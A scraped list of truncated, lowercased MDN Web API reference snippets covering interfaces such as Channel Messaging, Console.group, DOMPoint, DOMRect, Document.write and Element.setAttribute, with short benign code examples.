Channel Messaging API - Web APIs
ntents of the message using the event's data attribute. you could then respond by sending a message back to the original document using messageport.postmessage. when you want to stop sending messages down the channel, you can invoke messageport.close to close the ports. find out more about how to use this api in using channel messaging. channel messaging interfaces messagechannel creates a
new message channel to send messages across. messageport controls the ports on the message channel, allowing sending of messages from one port and listening out for them arriving at the other. portcollection an array of messageports; an experimental solution to allow broadcasting of a message to multiple ports simultaneously. examples we have published a channel messaging basic demo on githu...
ChildNode - Web APIs
tring objects are inserted as equivalent text nodes. specifications specification status comment domthe definition of 'childnode' in that specification. living standard split the elementtraversal interface in parentnode and childnode. previouselementsibling and nextelementsibling are now defined on the latter. the characterdata and documenttype implemented the
new interfaces. added the remove(), before(), after() and replacewith() methods. element traversal specificationthe definition of 'elementtraversal' in that specification. obsolete added the initial definition of its properties to the elementtraversal pure interface and use it on element. polyfill external on github: childnode.js ...
Client.type - Web APIs
the type read-only property of the client interface indicates the type of client the service worker is controlling. syntax var myclienttype = client.type; value a string, representing the client type. the value can be one of "window" "worker" "sharedworker" example // service worker client (e.g. ...
Clipboard.writeText() - Web APIs
t(). the "clipboard-write" permission of the permissions api, is granted automatically to pages when they are in the active tab. note: browser support for the asynchronous clipboard apis is still in the process of being implemented. be sure to check the compatibility table as well as clipboard availability in clipboard for more information. syntax var promise = navigator.clipboard.writetext(
newcliptext) parameters
newcliptext the domstring to be written to the clipboard. return value a promise which is resolved once the clipboard's contents have been updated. the promise is rejected if the caller does not have permission to write to the clipboard. example this example sets the clipboard's contents to the string "<empty clipboard>". navigator.clipboard.writetext("<empty cl...
ClipboardEvent() - Web APIs
type is a domstring representing the name of the type of the clipboardevent. it is case-sensitive and can be: 'copy', 'cut', or 'paste'. options optional options are as follows: clipboarddata: a datatransfer containing the data concerned by the clipboard event. datatype : a domstring containing the mime-type of the data contained in the data argument. ...
CloseEvent() - Web APIs
closeeventinit optional is a closeeventinit dictionary, having the following fields: "wasclean", optional and defaulting to false, of type long, indicates if the connection has been closed cleanly or not. "code", optional and defaulting to 0, of type unsigned short, that is the connection close code sent by the server. "reason", optional and defaulting to '', of type domstring, that is a human-readable reason why the server closed the connection. the closeeventinit dictionary also accepts fields from the eventinit dictionary. ...
CloseEvent - Web APIs
properties this interface also inherits properties from its parent, event. closeevent.code read only returns an unsigned short containing the close code sent by the server. the following values are permitted status codes. the following definitions are sourced from the iana website [ref]. ...
Comment() - Web APIs
the comment() constructor returns a
newly created comment object with the optional domstring given in parameter as its textual content. syntax comment1 =
new comment(); // create an empty comment comment2 =
new comment("this is a comment"); example var comment =
new comment("test"); specifications specification status comment domthe definition of 'comment: comment' in that specification. living standard initial definition ...
CompositionEvent.CompositionEvent() - Web APIs
compositioneventinit optional a compositioneventinit dictionary object, which can contain the following members: data initializes the data attribute of the compositionevent object to the characters generated by the ime composition. note: the compositioneventinit dictionary inherits from the uieventinit dictionary, so can also accept members defined on there. ...
CompositionEvent - Web APIs
properties this interface also inherits properties of its parent, uievent, and its ancestor — event. compositionevent.data read only returns the characters generated by the input method that raised the event; its varies depending on the type of event that generated the compositionevent object. compositionevent.locale read only returns the locale of...
Console.group() - Web APIs
creates a
new inline group in the web console log. this indents following console messages by an additional level, until console.groupend() is called. note: this feature is available in web workers. syntax console.group([label]); parameters label label for the group. optional. (chrome 59 tested) does not work with console.groupend(). using groups in the console requires gecko 9.0(firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) you can use nested groups to help organize your output by visually associating related messages. to create a
new nested block, call console.group(). the console.groupcollapsed() method is similar, but the
new block is collapsed and requires clicking a disclosure button to read it. note: from gecko 9 until gecko 51, the groupcollapsed() method was ...
Console.groupCollapsed() - Web APIs
the user will need to use the disclosure button next to it to expand it, revealing the entries created in the group. call console.groupend() to back out to the parent group. see using groups in the console in the console documentation for details and examples. note: this feature is available in web workers. syntax console.groupcollapsed([label]); parameters label label for the group. optional. specifications specification status comment console apithe definition of 'console.groupcollapsed()' in that specification. ...
Console.time() - Web APIs
name, and may have up to 10,000 timers running on a given page. when you call console.timeend() with the same name, the browser will output the time, in milliseconds, that elapsed since the timer was started. see timers in the console documentation for details and examples. note: this feature is available in web workers. syntax console.time(label); parameters label the name to give the
new timer. this will identify the timer; use the same name when calling console.timeend() to stop the timer and get the time output to the console. specifications specification status comment console apithe definition of 'console.time()' in that specification. living standard initial definition ...
ConstantSourceNode - Web APIs
f its offset or by connecting another node to it; see controlling multiple parameters with constantsourcenode. a constantsourcenode has no inputs and exactly one monaural (one-channel) output. the output's value is always the same as the value of the offset parameter. number of inputs 0 number of outputs 1 constructor constantsourcenode() creates and returns a
new constantsourcenode instance, optionally specifying an object which establishes initial values for the object's properties. you can also create a constantsourcenode whose properties are initialized to their default values by calling audiocontext.createconstantsource(). properties inherits properties from its parent interface, audioscheduledsourcenode, and adds the following properties: offse...
Constraint validation API - Web APIs
can have, with respect to its defined constraints. together, they help explain whether and why an element's value fails to validate. invalid event this event type is fired at a form control element if the element does not satisfy its constraints. extensions to other interfaces the constraint validation api extends the interfaces for the form-associated elements listed below with a number of
new properties and methods (elements that can have a form attribute that indicates their form owner): htmlbuttonelement htmlfieldsetelement htmlinputelement htmlobjectelement htmloutputelement htmlselectelement htmltextareaelement properties validity a read-only property that returns a validitystate object, whose properties represent validation errors for the value of that element. va...
ContentIndexEvent - Web APIs
esent the contentdelete event. this event is sent to the global scope of a serviceworker. it contains the id of the indexed content to be removed. the contentdelete event is only fired when the deletion happens due to interaction with the browser's built-in user interface. it is not fired when the contentindex.delete method is called. constructor contentindexevent() creates and returns a
new contentindexevent object whose type and other options are configured as specified. properties in addition to the properties listed below, this interface inherits the properties of its parent interface, extendableevent. id read only a string which identifies the deleted content index via it's id. methods while contentindexevent offers no methods of its own, it inherits any specified...
Content Index API - Web APIs
elopers to register their offline enabled content with the browser. concepts and usage as it stands, offline web content is not easily discoverable by users. content indexing allows developers to tell the browser about their specific offline content. this allows users to discover and view what is available, whilst giving developers the ability to add and manage this content. examples could be a
news website prefetching the latest articles in the background, or a content streaming app registering downloaded content. the content index api is an extension to service workers, which allows developers to add urls and metadata of already cached pages, under the scope of the current service worker. the browser can then use these entries to display offline reading to a user. as a developer you can ...
ConvolverNode() - Web APIs
the convolvernode() constructor of the web audio api creates a
new convolvernode object instance. syntax var convolvernode =
new convolvernode(context, options) parameters inherits parameters from the audionodeoptions dictionary. context a reference to an audiocontext. options optional options are as follows: audiobuffer: a mono, stereo, or 4-channel audiobuffer containing the (possibly multichannel) impulse response used by the convolvernode to create the reverb effect. disablenormalization: a boolean controlling whether the impulse response from the buffer will be scaled by an equal-power normalization, or not. the default is 'false'. return value a
new convolvernode object instance. exceptions exception explanation notsupportederror the...
CountQueuingStrategy.CountQueuingStrategy() - Web APIs
the countqueuingstrategy() constructor creates and returns a countqueuingstrategy object instance. syntax var countqueuingstrategy =
new countqueuingstrategy({highwatermark}); parameters {highwatermark} an object containing a highwatermark property. this is a non-negative integer defining the total number of chunks that can be contained in the internal queue before backpressure is applied. return value an instance of the countqueuingstrategy object. exceptions none. examples const queuingstrategy =
new countqueuingstrategy({ highwatermark: 1 }); const writablestream =
new writablestream({ // implement the sink write(chunk) { ... }, close() { ... }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); var size = queuingstrategy.size...
CredentialsContainer - Web APIs
the credentialscontainer interface of the the credential management api exposes methods to request credentials and notify the user agent when events such as successful sign in or sign out happen. this interface is accessible from navigator.credentials. properties none. event handlers none. methods credentialscontainer.create()secure context returns a promise that resolves with a
new credential instance based on the provided options, or null if no credential object can be created. in exceptional circumstances, the promise may reject. credentialscontainer.get()secure context returns a promise that resolves with the credential instance that matches the provided parameters. credentialscontainer.preventsilentaccess()secure context sets a flag that specifies whether automatic log i...
CryptoKey - Web APIs
cryptokey.usages an array of strings, indicating what can be done with the key. possible values for array elements are: "encrypt": the key may be used to encrypt messages. "decrypt": the key may be used to decrypt messages. "sign": the key may be used to sign messages. "verify": the key may be used to verify signatures. "derivekey": the key may be used in deriving a
new key. "derivebits": the key may be used in deriving bits. "wrapkey": the key may be used to wrap a key. "unwrapkey": the key may be used to unwrap a key. examples the examples for subtlecrypto methods often use cryptokey objects. for example: subtlecrypto.generatekey() subtlecrypto.derivekey() subtlecrypto.importkey() subtlecrypto.exportkey() subtlecrypto.wrapkey() subtlecrypt...
CustomEvent.detail - Web APIs
the customevent interface returns any data passed when initializing the event. note: this feature is available in web workers. syntax let mydetail = customeventinstance.detail; return value whatever data the event was initialized with. example // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event let event =
new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); // will return an object contaning the hazcheeseburger property let mydetail = event.detail; specifications specification status comment domthe definition of 'detail' in that specification. living standard initial definition. ...
CustomEvent - Web APIs
y obsolete; use composed instead. (a boolean indicating whether the given event will bubble across through the shadow root into the standard dom.) methods customevent.initcustomevent() initializes a customevent object. if the event has already being dispatched, this method does nothing. this interface inherits methods from its parent, event: event.createevent() creates a
new event, which must then be initialized by calling its initevent() method. event.composedpath() returns the event’s path (objects on which listeners will be invoked). this does not include nodes in shadow trees if the shadow root was created with its shadowroot.mode closed. event.initevent() initializes the value of an event created. if the event has already been dispatched, this metho...
DOMException.code - Web APIs
syntax var domexceptioncode = domexceptioninstance.code; value a short number. specifications specification status comment web idlthe definition of 'code' in that specification. ...
DOMException - Web APIs
n web apis. each exception has a name, which is a short "camelcase" style string identifying the error or abnormal condition. constructor domexception() returns a domexception object with a specified message and name. properties domexception.code read only returns a short that contains one of the error code constants, or 0 if none match. this field is used for historical reasons.
new dom exceptions don't use this anymore: they put this info in the domexception.name attribute. domexception.message read only returns a domstring representing a message or description associated with the given error name. domexception.name read only returns a domstring that contains one of the strings associated with an error name. error names common error names are listed here. some apis...
DOMHighResTimeStamp - Web APIs
current document is the first one loaded in the window, the time origin is the time at which the browser context was created. if during the process of unloading the previous document which was loaded in the window, a confirmation dialog was displayed to let the user confirm whether or not to leave the previous page, the time origin is the time at which the user confirmed that navigating to the
new page was acceptable. if neither of the above determines the time origin, then the time origin is the time at which the navigation responsible for creating the window's current document took place. if the script's global object is a workerglobalscope (that is, the script is running as a web worker), the time origin is the moment at which the worker was created. in all other cases, the ti...
DOMParser() - Web APIs
the domparser() constructor creates a
new domparser object. syntax var parser =
new domparser(); parameters none. return value a
new domparser object. this object can be used to parse the text of a document using the parsefromstring() method. ...
DOMPoint.fromPoint() - Web APIs
the static dompoint method frompoint() creates and returns a
new mutable dompoint object given a source point. the source point is specified as a dompointinit-compatible object, which includes both dompoint and dompointreadonly. you can also create a
new dompoint object using the
new dompoint() constructor. although this interface is based on dompointreadonly, it is not read-only; the properties within may be changed at will. syntax var point = dompoint.frompoint(sourcepoint); properties sourcepoint a dompointinit-compliant object, which includes both dompoint and dompointreadonly, from which to take the values of the
new point's properties. return value a
new dompoint object whose coordinate and perspective values are identical to those in the source point. the point's propertie...
DOMPointInit.w - Web APIs
cating the point's w perspective value. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). there are two methods which use dompointinit: the static function dompointreadonly.frompoint() takes an object that complies with dompointinit as its sole input parameter, to specify the coordinates and perspective value of the
new point to be created. this method is, by inheritance, also available as dompoint.frompoint(). the dompointreadonly.tojson() method returns a dompointinit object that describes the same point as the original point. by inheritance, this method is also available as dompoint.tojson(). this value is assumed to be 1 by default if not included in the dompointinit object passed into frompoint(). speci...
DOMPointInit.y - Web APIs
is, its value may be nan or ±infinity). if this property is missing when the dompointinit object is passed into frompoint(), the value is assumed to be 0 by default. there are two methods which use dompointinit: the static function dompointreadonly.frompoint() takes an object that complies with dompointinit as its sole input parameter, to specify the coordinates and perspective value of the
new point to be created. this method is, by inheritance, also available as dompoint.frompoint(). the dompointreadonly.tojson() method returns a dompointinit object that describes the same point as the original point. by inheritance, this method is also available as dompoint.tojson(). specifications specification status comment geometry interfaces module level 1the definiti...
DOMPointInit.z - Web APIs
ue indicating the point's z-coordinate. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). there are two methods which use dompointinit: the static function dompointreadonly.frompoint() takes an object that complies with dompointinit as its sole input parameter, to specify the coordinates and perspective value of the
new point to be created. this method is, by inheritance, also available as dompoint.frompoint(). the dompointreadonly.tojson() method returns a dompointinit object that describes the same point as the original point. by inheritance, this method is also available as dompoint.tojson(). if this property is missing when the dompointinit object is passed into frompoint(), the value is assumed to be 0 b...
DOMPointInit - Web APIs
-point value which gives the point's z-coordinate, which is (assuming no transformations that alter the situation) the depth coordinate; positive values are closer to the user and negative values retreat back into the screen. the default value is 0. dompointinit.w the point's w perspective value, given as an unrestricted floating-point number. the default is 1. example this example creates a
new dompoint representing the top-left corner of the current window, with a z component added to move the point closer to the user. this same code will work to create a dompointreadonly object; just change the interface name in the code. const pointdesc = { x: window.screenx, y: window.screeny, z: 5.0 }; const windtopleft = dompoint.frompoint(pointdesc) specifications specification...
DOMPointReadOnly.toJSON() - Web APIs
the dompointreadonly method tojson() returns a dompointinit object giving the json form of the point object. syntax pointjson = dompointreadonly.tojson(); parameters none. return value a
new dompointinit object whose properties are set to the values in the dompoint or dompointreadonly on which the method was called. example this example creates a dompoint object representing the top-left corner of the current window, in screen coordinates, then converts that to json. var topleft =
new dompoint(window.screenx, window.screeny); var pointjson = topleft.tojson(); specifications specification status comment geometry interfaces module level 1the definition of 'dompointreadonly.tojson()' in that specification. candidate recommendation initial definition ...
DOMQuad - Web APIs
a domquad is a collection of four dompoints defining the corners of an arbitrary quadrilateral. returning domquads lets getboxquads() return accurate information even when arbitrary 2d or 3d transforms are present. it has a handy bounds attribute returning a domrectreadonly for those cases where you just want an axis-aligned bounding rectangle. constructor domquad.domquad() creates a
new domquad object. properties p1,p2,p3,p4 read only are dompoint objects for each of the domquad object's four corners. methods domquad.fromrect() returns a
new domquad object based on the passed set of coordinates. domquad.fromquad() returns a
new domquad object based on the passed set of coordinates. domquad.getbounds() returns a domrect object with the coordinates and dimensions of th...
DOMRect.DOMRect() - Web APIs
the domrect() constructor creates a
new domrect object. syntax var mydomrect =
new domrect(x, y, width, height); parameters x the x coordinate of the domrect's origin. y the y coordinate of the domrect's origin. width the width of the domrect. height the height of the domrect. examples to create a
new domrect, you could run a line of code like so: mydomrect =
new domrect(0,0,100,100); // running 'mydomrect' in the console would then return // domrect { x: 0, y: 0, width: 100, height: 100, top: 0, right: 100, bottom: 100, left: 0 } specifications specification status comment geometry interfaces module level 1the definition of 'domrect()' in that specification. candidate recommendation initial definition. ...
DOMRectReadOnly.fromRect() - Web APIs
syntax var domrect = domrectreadonly.fromrect(rectangle) parameters rectangle optional an object specifying the location and dimensions of a rectangle. all properties default to 0. the properties are: x: the coordinate of the left side of the rectangle. y: the coordinate of the top side of the rectangle. width: the width of the rectangle. height: the height of the rectangle. return value an instance of domrect. specifications specification status comment geometry interfaces module level 1the definition of 'fromrect()' in that specification. ...
DOMTokenList.add() - Web APIs
d() method of the domtokenlist interface adds the given token to the list. syntax tokenlist.add(token1[, token2[, ...tokenn]]); parameters tokenn a domstring representing the token (or tokens) to add to the tokenlist. return value undefined examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist. we then add a
new token to the list, and write the list into the <span>'s node.textcontent. first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; classes.add("d"); span.textcontent = classes; the output looks like this: you can add multiple tokens as well: span.classlist.add("d", "e", "f"); specifications spec...
DOMTokenList - Web APIs
ts index, or undefined if index is greater than or equal to the list's length. domtokenlist.contains(token) returns true if the list contains the given token, otherwise false. domtokenlist.add(token1[, token2[, ...tokenn]]) adds the specified token(s) to the list. domtokenlist.remove(token1[, token2[, ...tokenn]]) removes the specified token(s) from the list. domtokenlist.replace(oldtoken,
newtoken) replaces token with
newtoken. domtokenlist.supports(token) returns true if a given token is in the associated attribute's supported tokens. domtokenlist.toggle(token [, force]) removes token from the list if it exists, or adds token to the list if it doesn't. returns a boolean indicating whether token is in the list after the operation. domtokenlist.entries() returns an iterator, all...
DataTransfer() - Web APIs
specifications specification status comment html living standardthe definition of 'the datatransfer() constructor' in that specification. ...
DataTransfer.effectAllowed - Web APIs
ng the dragstart event, thus effectallowed may be used to determine which effect is permitted. assigning a value to effectallowed in events other than dragstart has no effect. syntax datatransfer.effectallowed; values a domstring representing the drag operation that is allowed. the possible values are: none the item may not be dropped. copy a copy of the source item may be made at the
new location. copylink a copy or link operation is permitted. copymove a copy or move operation is permitted. link a link may be established to the source at the
new location. linkmove a link or move operation is permitted. move an item may be moved to a
new location. all all operations are permitted. uninitialized the default value when the effect has not been set, equivalent to all. ...
DataTransfer.setData() - Web APIs
if data for the given type already exists, the existing data is replaced in the same position. that is, the order of the types list is not changed when replacing data of the same type. example data types are text/plain and text/uri-list. ...
DataTransfer.setDragImage() - Web APIs
} </style> <script> function dragstart_handler(ev) { console.log("dragstart"); // set the drag's format and data. use the event target's id for the data ev.datatransfer.setdata("text/plain", ev.target.id); // create an image and use it for the drag image // note: change "example.gif" to an existing image or the image will not // be created and the default drag image will be used. ...
DataTransferItemList.add() - Web APIs
syntax datatransferitem = datatransferitemlist.add(data, type); datatransferitem = datatransferitemlist.add(file); parameters data a string representing the drag item's data. type a string of the drag item's type. some example types are text/html and text/plain. file a file object. no type needs to be given in this case. return value a datatransferitem containing the specified data. ...
DataTransferItemList - Web APIs
each dragevent has a datatransfer property and that property is a datatransferitemlist. this interface has no constructor. properties datatransferitemlist.length read only an unsigned long that is the number of drag items in the list. methods datatransferitemlist.add() adds an item (either a file object or a string) to the drag item list and returns a datatransferitem object for the
new item. datatransferitemlist.remove() removes the drag item from the list at the given index. datatransferitemlist.clear() removes all of the drag items from the list. datatransferitemlist.datatransferitem() getter that returns a datatransferitem at the given index. example each of this interface's methods and properties has a reference page, and each reference page has an example of its u...
DedicatedWorkerGlobalScope.name - Web APIs
name read-only property of the dedicatedworkerglobalscope interface returns the name that the worker was (optionally) given when it was created. this is the name that the worker() constructor can pass to get a reference to the dedicatedworkerglobalscope. syntax var nameobj = self.name; value a domstring. example if a worker is created using a constructor with a name option: var myworker =
new worker("worker.js", { name : "myworker" }); the dedicatedworkerglobalscope will now have a name of "myworker", returnable by running self.name from inside the worker. specifications specification status comment html living standardthe definition of 'name' in that specification. living standard ...
DedicatedWorkerGlobalScope.onmessage - Web APIs
o the worker using the worker.postmessage method. syntax self.onmessage = function() { ... }; example the following code snippet shows creation of a worker object using the worker() constructor. messages are passed to the worker when the value inside the form input first changes. a worker.onmessage handler is also present, to deal with messages are passed back from the worker. ...
DeviceMotionEvent.DeviceMotionEvent() - Web APIs
optionsoptional options are as follows: acceleration: an object giving the acceleration of the device on the three axis x, y and z. acceleration is expressed in m/s2. accelerationincludinggravity: an object giving the acceleration of the device on the three axis x, y and z with the effect of gravity. acceleration is expressed in m/s2. rotationrate: an object giving the rate of change of the device's orientation on the three orientation axis alpha, beta and gamma. rotation rate is express in degrees per seconds. ...
DeviceMotionEvent - Web APIs
the devicemotionevent provides web developers with information about the speed of changes for the device's position and orientation. warning: currently, firefox and chrome do not handle the coordinates the same way. take care about this while using them. constructor devicemotionevent.devicemotionevent() creates a
new devicemotionevent. properties devicemotionevent.accelerationread only an object giving the acceleration of the device on the three axis x, y and z. acceleration is expressed in m/s2. devicemotionevent.accelerationincludinggravityread only an object giving the acceleration of the device on the three axis x, y and z with the effect of gravity. acceleration is expressed in m/s2. devicemotionevent.rotationrateread only an object giving the rate of change of ...
DeviceOrientationEvent.DeviceOrientationEvent() - Web APIs
if the later, then options.absolute should be true. options optional options are as follows: alpha: a number representing the motion of the device around the z axis, express in degrees with values ranging from 0 to 360. beta: a number representing the motion of the device around the x axis, express in degrees with values ranging from -180 to 180. this represents a front to back motion of the device. ...
DeviceOrientationEvent - Web APIs
the deviceorientationevent provides web developers with information from the physical orientation of the device running the web page. warning: currently, firefox and chrome do not handle the coordinates the same way. take care about this while using them. constructor deviceorientationevent.deviceorientationevent() creates a
new deviceorientationevent. properties deviceorientationevent.absolute read only a boolean that indicates whether or not the device is providing orientation data absolutely. deviceorientationevent.alpha read only a number representing the motion of the device around the z axis, express in degrees with values ranging from 0 to 360. deviceorientationevent.beta read only a number representing the motion of the device around the x axis, express in degre...
DirectoryReaderSync - Web APIs
ntrysync (as well as fileentrysync) object. example in the following code snippet from html5rocks, we create web workers and pass data from it to the main app. // taking care of the browser-specific prefixes. window.resolvelocalfilesystemurl = window.resolvelocalfilesystemurl || window.webkitresolvelocalfilesystemurl; // create web workers var worker =
new worker('worker.js'); worker.onmessage = function(e) { var urls = e.data.entries; urls.foreach(function(url, i) { window.resolvelocalfilesystemurl(url, function(fileentry) { // print out file's name. console.log(fileentry.name); }); }); }; worker.postmessage({'cmd': 'list'}); the following is worker.js code that gets the contents of the directory. ...
Document() - Web APIs
the document constructor creates a
new document object that is a web page loaded in the browser and serving as an entry point into the page's content. syntax
new document(); specifications specification status comment domthe definition of 'document' in that specification. living standard initial definition. ...
Document.adoptNode() - Web APIs
return value the copied importednode in the scope of the importing document. after calling this method, importednode and externalnode are the same object. note: importednode's node.parentnode is null, since it has not yet been inserted into the document tree! example const iframe = document.queryselector('iframe'); const iframeimages = iframe.contentdocument.queryselectorall('img'); const
newparent = document.getelementbyid('images'); iframeimages.foreach(function(imgel) {
newparent.appendchild(document.adoptnode(imgel)); }); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode(). best practice: although firefox doesn't currently enforce this rul...
Document.createCDATASection() - Web APIs
createcdatasection() creates a
new cdata section node, and returns it. syntax var cdatasectionnode = document.createcdatasection(data); cdatasectionnode is a cdata section node. data is a string containing the data to be added to the cdata section. example var docu =
new domparser().parsefromstring('<xml></xml>', 'application/xml') var cdata = docu.createcdatasection('some <cdata> data & then some'); docu.getelementsbytagname('xml')[0].appendchild(cdata); alert(
new xmlserializer().serializetostring(docu)); // displays: <xml><![cdata[some <cdata> data & then some]]></xml> notes this will only work with xml, not html documents (as html documents do not support cdata sections); attempting it on an html document will throw not_supported_err. will throw a ns_error_dom_invalid_c...
Document.createComment() - Web APIs
createcomment() creates a
new comment node, and returns it. syntax commentnode = document.createcomment(data); parameters data a string containing the data to be added to the comment. example var docu =
new domparser().parsefromstring('<xml></xml>', 'application/xml'); var comment = docu.createcomment('this is a not-so-secret comment in your document'); docu.getelementsbytagname('xml')[0].appendchild(comment); alert(
new xmlserializer().serializetostring(docu)); // displays: <xml><!--this is a not-so-secret comment in your document--></xml> specifications specification status comment domthe definition of 'document.createcomment' in that specification. living standard ...
Document.createNodeIterator() - Web APIs
syntax const nodeiterator = document.createnodeiterator(root[, whattoshow[, filter]]); values root the root node at which to begin the nodeiterator's traversal. whattoshow optional is an optional unsigned long representing a bitmask created by combining the constant properties of nodefilter. it is a convenient way of filtering for certain types of node. it defaults to 0xffffffff representing the show_all constant. constant numerical value description nodefilter.show_all -1 (that is the max value of unsigned long) shows all nodes. nodefilter.show_attribute 2 shows attribute attr nodes. ...
Document.createRange() - Web APIs
syntax range = document.createrange(); range is the created range object. example let range = document.createrange(); range.setstart(startnode, startoffset); range.setend(endnode, endoffset); notes once a range is created, you need to set its boundary points before you can make use of most of its methods. ...
Document.createTouch() - Web APIs
syntax var touch = documenttouch.createtouch(view, target, identifier, pagex, pagey, screenx, screeny); parameters note: all parameters are optional. view the window in which the touch occurred. target the eventtarget for the touch. identifier the value for touch.identifier. pagex the value for touch.pagex. pagey the value for touch.pagey. screenx the value for touch.screenx. screeny the value for touch.screeny. ...
Document.createTouchList() - Web APIs
syntax var list = documenttouch.createtouchlist([touch1 [, touch2 [, ...]]]); parameters touches zero or more touch objects. note: firefox also accepts an array of touch objects. return value list a touchlist object containing the touch objects specified by the touches parameter. example this example illustrates using the document.createtouchlist() method to create touchlist objects. ...
Document.evaluate() - Web APIs
. null is common for html documents or when no namespace prefixes are used. resulttype is an integer that corresponds to the type of result xpathresult to return. use named constant properties, such as xpathresult.any_type, of the xpathresult constructor, which correspond to integers from 0 to 9. result is an existing xpathresult to use for the results. null is the most common and will create a
new xpathresult example var headings = document.evaluate("/html/body//h2", document, null, xpathresult.any_type, null); /* search the document for all h2 elements. * the result will likely be an unordered node iterator. */ var thisheading = headings.iteratenext(); var alerttext = "level 2 headings in this document are:\n"; while (thisheading) { alerttext += thisheading.textcontent + "\n"; thi...
Document.fonts - Web APIs
examples doing operation after all fonts are loaded document.fonts.ready.then(function() { // any operation that needs to be done only after all the fonts // have finished loading can go here. ...
Document.getElementById() - Web APIs
ect describing the dom element object matching the specified id, or null if no matching element was found in the document. example html <html> <head> <title>getelementbyid example</title> </head> <body> <p id="para">some text here</p> <button onclick="changecolor('blue');">blue</button> <button onclick="changecolor('red');">red</button> </body> </html> javascript function changecolor(
newcolor) { var elem = document.getelementbyid('para'); elem.style.color =
newcolor; } result usage notes the capitalization of "id" in the name of this method must be correct for the code to function; getelementbyid() is not valid and will not work, however natural it may seem. unlike some other element-lookup methods such as document.queryselector() and document.queryselectorall(), getele...
Document.getElementsByTagNameNS() - Web APIs
entsbytagnamens starts from a particular parent element, and searches topdown recursively through the dom from that parent element, looking for child elements matching the tag name parameter. note that when the node on which getelementsbytagname is invoked is not the document node, in fact the element.getelementsbytagnamens method is used. to use the following example, just copy/paste it into a
new file saved with the .xhtml extension. <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>getelementsbytagnamens example</title> <script type="text/javascript"> function getallparaelems() { var allparas = document.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = allparas.length; alert("there are " + num + " <p> elements in this document"); } functio...
Document.lastModified - Web APIs
g containing the date and time on which the current document was last modified. syntax var string = document.lastmodified; examples simple usage this example alerts the value of lastmodified. alert(document.lastmodified); // returns: tuesday, december 16, 2017 11:09:42 transforming lastmodified into a date object this example transforms lastmodified into a date object. let olastmodif =
new date(document.lastmodified); transforming lastmodified into milliseconds this example transforms lastmodified into the number of milliseconds since january 1, 1970, 00:00:00, local time. let nlastmodif = date.parse(document.lastmodified); notes note that as a string, lastmodified cannot easily be used for comparing the modification dates of documents. here is a possible example of how to s...
Document.popupNode - Web APIs
ed via the popup or context attributes. for other types of popups, the value is not changed. in these other cases, for example when calling the popup's showpopup method, you may wish to set the popupnode property directly beforehand. this property applies only to xul documents. syntax var node = document.popupnode; example <menupopup id="toolbarcontextmenu"> ... <menuitem oncommand="mail
newscore.deletebutton(document.popupnode)"> ... </menupopup> ...
Document.selectedStyleSheetSet - Web APIs
you can also set the current style sheet set using this property. setting the value of this property is equivalent to calling document.enablestylesheetsforset() with the value of currentstylesheetset, then setting the value of laststylesheetset to that value as well. ...
Document.title - Web APIs
the document.title property gets or sets the current title of the document. syntax var doctitle = document.title; doctitle is a string containing the document's title. if the title was overridden by setting document.title, it contains that value. otherwise, it contains the title specified in the markup (see the notes below). document.title =
newtitle;
newtitle is the
new title of the document. the assignment affects the return value of document.title, the title displayed for the document (e.g. in the titlebar of the window or tab), and it also affects the dom of the document (e.g. the content of the <title> element in an html document). example <!doctype html> <html> <head> <title>hello world!</title> </head> <body> <script> alert(document.title); // displays "hello world!"...
Document.write() - Web APIs
cument.open(). note: because document.write() writes to the document stream, calling document.write() on a closed (loaded) document automatically calls document.open(), which will clear the document. syntax document.write(markup); parameters markup a string containing the text to be written to the document. example <html> <head> <title>write example</title> <script> function
newcontent() { document.open(); document.write("<h1>out with the old, in with the
new!</h1>"); document.close(); } </script> </head> <body onload="
newcontent();"> <p>some original document content.</p> </body> </html> notes the text you write is parsed into the document's structure model. in the example above, the h1 element becomes a node in the document. writing to...
Document.writeln() - Web APIs
note: document.writeln (like document.write) does not work in xhtml documents (you'll get a "operation is not supported" (ns_error_dom_not_supported_err) error on the error console). this is the case if opening a local file with a .xhtml file extension or for any document served with an application/xhtml+xml mime type. more information is available in the w3c xhtml faq. ...
DocumentFragment() - Web APIs
the documentfragment() constructor returns a
new, empty documentfragment object . syntax fragment =
new documentfragment() example let fragment =
new documentfragment(); specification specification status comment domthe definition of 'documentfragment()' in that specification. living standard initial definition. ...
Element.setAttribute() - Web APIs
to get the current value of an attribute, use getattribute(); to remove an attribute, call removeattribute(). syntax element.setattribute(name, value); parameters name a domstring specifying the name of the attribute whose value is to be set. the attribute name is automatically converted to all lower-case when setattribute() is called on an html element in an html document. value a domstring containing the value to assign to the attribute. ...
Element.setAttributeNS() - Web APIs
setattributens adds a
new attribute or changes the value of an attribute with the given namespace and name. syntax element.setattributens(namespace, name, value) namespace is a string specifying the namespace of the attribute. name is a string identifying the attribute by its qualified name; that is, a namespace prefix followed by a colon followed by a local name. value is the desired string value of the
new attribute. example let d = document.getelementbyid('d1'); d.setattributens('http://www.mozilla.org/ns/specialspace', 'spec:align', 'center'); notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespac...
Element.setAttributeNode() - Web APIs
the setattributenode() method adds a
new attr node to the specified element. syntax var replacedattr = element.setattributenode(attribute); attribute is the attr node to set on the element. replacedattr is the replaced attribute node, if any, returned by this function. example this example copies the align attribute from one element to another. html <div id="one" align="left">one</div> <div id="two">two</div> javascript let d1 = document.getelementbyid('one'); let d2 = document.getelementbyid('two'); let a = d1.getattributenode('align'); d2.setattributenode(a.clonenode(true)); // returns: 'left' alert(d2.attributes[1].value); notes if the attribute named already exists on the element, that attribute is replaced with the
new one and the replaced one is returned. this metho...
Element.shadowRoot - Web APIs
